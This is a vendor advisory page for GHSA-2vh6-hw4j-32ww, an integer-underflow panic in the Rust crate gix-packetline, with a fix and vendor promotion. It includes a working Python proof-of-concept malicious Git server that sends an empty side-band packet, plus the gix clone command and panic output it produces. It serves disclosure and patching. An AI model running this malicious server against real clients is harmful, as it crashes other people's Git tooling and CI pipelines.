GHSA-2vh6-hw4j-32ww is a medium-severity (CVSS 6.5) CWE-191 vulnerability in gix-packetline. O3 Security confirms whether GHSA-2vh6-hw4j-32ww is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
gix-packetline: reachable panic on empty side-band packet (pre-auth network DoS)
Real-World Exposure
gix-packetlineReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects crates.io packages — download data is not available via public APIs for these ecosystems.
Description
Summary
gix-packetline panics when it receives a side-band packet line that contains only the band-id byte with an empty payload. A malicious Git server - or any remote a victim clones/fetches from - can abort the gix client process during a normal fetch. This is a pre-authentication, network-triggered denial of service.
Details
In gix-packetline/src/lib.rs, impl From<&[u8]> for TextRef strips a trailing newline with d[d.len() - 1]:
https://github.com/GitoxideLabs/gitoxide/blob/eac50e1207e2549b23302c9faf595a420b9919fc/gix-packetline/src/lib.rs#L199
When d is empty (an empty side-band payload after the band-id byte is removed), d.len() - 1 underflows usize (to 18446744073709551615, i.e. 0 - 1) and the index access panics. The empty side-band line is attacker-supplied and is reached during a normal fetch.
(Related: an unchecked split_at_mut in gix-packetline/src/blocking_io/read.rs is in the same DoS class and worth hardening in the same pass.)
PoC
Confirmed against gix v0.54.0 (crate gix-packetline 0.21.4) and current main.
- Run a minimal malicious git server on
127.0.0.1:9418. It completes a protocol-v2 handshake (ls-refs, fetch), then sends a packfile header followed by the bytes0005+0x02- a side-band line of length 5 whose content is the single band-id byte0x02with an EMPTY payload:
import socket
HOST, PORT = "127.0.0.1", 9418
def pkt(d): return ("%04x" % (len(d)+4)).encode() + d
FLUSH=b"0000"; OID=b"1234567890123456789012345678901234567890"
def handle(c):
c.recv(65536)
c.sendall(pkt(b"version 2\n")+pkt(b"agent=git/evil\n")+pkt(b"ls-refs=unborn\n")
+pkt(b"fetch=shallow wait-for-done\n")+pkt(b"object-format=sha1\n")+FLUSH)
buf=b""; sent=False
while True:
d=c.recv(65536)
if not d: return
buf+=d
if b"command=ls-refs" in buf and not sent:
c.sendall(pkt(OID+b" HEAD symref-target:refs/heads/master\n")
+pkt(OID+b" refs/heads/master\n")+FLUSH); sent=True; buf=b""; continue
if b"command=fetch" in buf and (buf.rstrip().endswith(b"0000") or b"done" in buf):
c.sendall(pkt(b"packfile\n") + b"0005\x02") # band id 2, EMPTY payload
try: c.recv(4096)
except Exception: pass
return
s=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind((HOST,PORT)); s.listen(1); print("listening",PORT)
conn,_=s.accept(); conn.settimeout(5.0)
try: handle(conn)
finally: conn.close(); s.close()
- Point the real client at it:
RUST_BACKTRACE=1 gix clone git://127.0.0.1:9418/repo.git /tmp/out
Observed:
thread 'main' panicked at gix-packetline/src/lib.rs:199:20:
index out of bounds: the len is 0 but the index is 18446744073709551615
exit code: 101
Impact
A pre-authentication, network-triggered denial of service. Any tool, library, or CI pipeline that clones/fetches from an attacker-influenced remote using gix / gix-packetline crashes (process abort). No authentication is required, and in unattended automation no user interaction gates the fetch.
Suggested fix
Guard the empty-slice case instead of indexing unconditionally, e.g. let d = d.strip_suffix(b"\n").unwrap_or(d);, or check !d.is_empty() / d.last() == Some(&b'\n') before slicing.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🦀crates.io | gix-packetline | all versions | 0.21.5 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for gix-packetline. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update gix-packetline to 0.21.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-2vh6-hw4j-32ww is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-2vh6-hw4j-32ww is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-2vh6-hw4j-32ww. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-2vh6-hw4j-32ww in your dependencies?
O3 detects GHSA-2vh6-hw4j-32ww across crates.io dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.